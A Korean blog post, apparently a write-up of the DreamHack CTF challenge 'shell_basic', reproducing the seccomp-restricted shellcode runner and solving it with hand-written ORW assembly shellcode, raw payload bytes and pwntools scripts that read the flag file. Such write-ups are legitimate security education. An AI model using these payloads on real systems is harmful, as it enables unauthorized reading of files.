๊ธ€ ์ž‘์„ฑ์ž: heogi
์ž…๋ ฅํ•œ ์…ธ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ์ด ์„œ๋น„์Šค๋กœ ๋“ฑ๋ก๋˜์–ด ์ž‘๋™ํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.
main ํ•จ์ˆ˜๊ฐ€ ์•„๋‹Œ ๋‹ค๋ฅธ ํ•จ์ˆ˜๋“ค์€ execve, execveat ์‹œ์Šคํ…œ ์ฝœ์„ ์‚ฌ์šฉํ•˜์ง€ ๋ชปํ•˜๋„๋ก ํ•˜๋ฉฐ, ํ’€์ด์™€ ๊ด€๋ จ์ด ์—†๋Š” ํ•จ์ˆ˜์ž…๋‹ˆ๋‹ค.
flag ํŒŒ์ผ์˜ ์œ„์น˜์™€ ์ด๋ฆ„์€ /home/shell_basic/flag_name_is_loooooong์ž…๋‹ˆ๋‹ค.
๊ฐ ์žก๊ธฐ ์–ด๋ ค์šฐ์‹  ๋ถ„๋“ค์€ ์•„๋ž˜ ์ฝ”๋“œ๋ฅผ ๊ฐ€์ง€๊ณ  ๋จผ์ € ์—ฐ์Šตํ•ด๋ณด์„ธ์š”!
ํ”Œ๋ž˜๊ทธ ํ˜•์‹์€ DH{...} ์ž…๋‹ˆ๋‹ค. DH{ ์™€ }๋„ ๋ชจ๋‘ ํฌํ•จํ•˜์—ฌ ์ธ์ฆํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

ํ”„๋กœ๊ทธ๋žจ ๋ถ„์„

๋ฌธ์ œ์—์„œ ์ œ์‹œ๋œ ํ”„๋กœ๊ทธ๋žจ์„ ์‹คํ–‰ํ•˜๋ฉด Shellcode๋ฅผ ์ž…๋ ฅ๋ฐ›๋Š”๋‹ค.

ํฌํ•จ๋˜์–ด์žˆ๋Š” ์†Œ์Šค๋ฅผ ๋ณด๋ฉด ์‰˜์ฝ”๋“œ๋ฅผ ๋ฐ›์•„์„œ ์‹คํ–‰์„ ํ•ด์ค€๋‹ค.

// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev

#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(10);
}

void banned_execve() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_ALLOW);
  if (ctx == NULL) {
    exit(0);
  }
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);

  seccomp_load(ctx);
}

void main(int argc, char *argv[]) {
  char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);   
  void (*sc)();
  
  init();
  
  banned_execve();

  printf("shellcode: ");
  read(0, shellcode, 0x1000);

  sc = (void *)shellcode;
  sc();
}

execve, execveat ํ•จ์ˆ˜๋Š” ์‚ฌ์šฉํ•˜์ง€ ๋ชป ํ•˜๋„๋ก ๋˜์–ด์žˆ์–ด Flag๋ฅผ ORW(Open Read Write) ์‰˜์ฝ”๋“œ๋ฅผ ํ†ตํ•ด ์ฝ์–ด์•ผํ•œ๋‹ค.

 

ShellCode ์ž‘์„ฑ

* shellcode.asm

; File name: shellcode.asm
section .text
global _start
_start:
push 0x0
mov rax, 0x676e6f6f6f6f6f6f ; oooooong
push rax
mov rax, 0x6c5f73695f656d61 ; ame_is_l
push rax
mov rax, 0x6e5f67616c662f63 ; c/flag_n
push rax
mov rax, 0x697361625f6c6c65 ; ell_basi
push rax
mov rax, 0x68732f656d6f682f ; /home/sh
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x2
syscall ; Open

mov rdi, rax
mov rsi, rsp
sub rsi, 0x30
mov rdx, 0x30
mov rax, 0x0
syscall ;Read

mov rdi, 0x1
mov rax, 0x1
syscall ; Write

Flag ํŒŒ์ผ์˜ ๊ฒฝ๋กœ๋Š” /home/shell_basic/flag_name_is_loooooong๋กœ 8 Btye ์”ฉ ์ž˜๋ผ์„œ ์Šคํƒ์— Push ํ•ด์ค€๋‹ค.

asm์„ ์ž‘์„ฑ ํ›„ ์•„๋ž˜ ๋ช…๋ น์–ด๋ฅผ ํ†ตํ•ด ์‰˜์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•œ๋‹ค.

 

8 Byte ์”ฉ ์ž๋ฅธ ๋ฌธ์ž์—ด์€ ์•„๋ž˜ ๋ช…๋ น์–ด๋ฅผ ํ†ตํ•ด little endian ๋ฐฉ์‹์œผ๋กœ packing์„ ์ง„ํ–‰ํ•œ๋‹ค.

>>> p64(int(binascii.hexlify(b"oooooong"),16)).hex()
'676e6f6f6f6f6f6f'
nasm -f elf64 shellcode.asm
objdump -d shellcode.o
objcopy --dump-section .text=shellcode.bin shellcode.o
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin

ํŒจํ‚น์„ ์ง„ํ–‰ํ•œ ์‰˜์ฝ”๋“œ ๋ฐ”์ดํŠธ๋ฅผ pwntools๋ฅผ ํ†ตํ•ด ์„œ๋ฒ„์— ์ž…๋ ฅํ•œ๋‹ค.

from pwn import *

p = remote("host3.dreamhack.games",18477)

shellcode = b"\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05"

p.send(shellcode)
p.interactive()

์•„๋ž˜๋Š” ShellCraft๋ฅผ ํ†ตํ•ด ์ž‘์„ฑํ•œ ORW Shellcode ์ด๋‹ค.

from pwn import *

context(arch="amd64", os="linux")

p = remote("host3.dreamhack.games",17850)

shellcode = shellcraft.open("/home/shell_basic/flag_name_is_loooooong")
shellcode += shellcraft.read("rax","rsp",100)
shellcode += shellcraft.write(1,"rsp",100)

p.recvuntil("shellcode:")
p.send(asm(shellcode))

print(p.recvline())

 

 

'๐Ÿ›ก๏ธCTF > DreamHack' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

Switching Commnad  (0) 2024.01.07
Secure Mail  (0) 2024.01.03
rev-basic-4  (0) 2023.09.28
rev-basic-3  (0) 2023.09.19
[BOB CTF 8th] - FileStroage  (0) 2022.09.13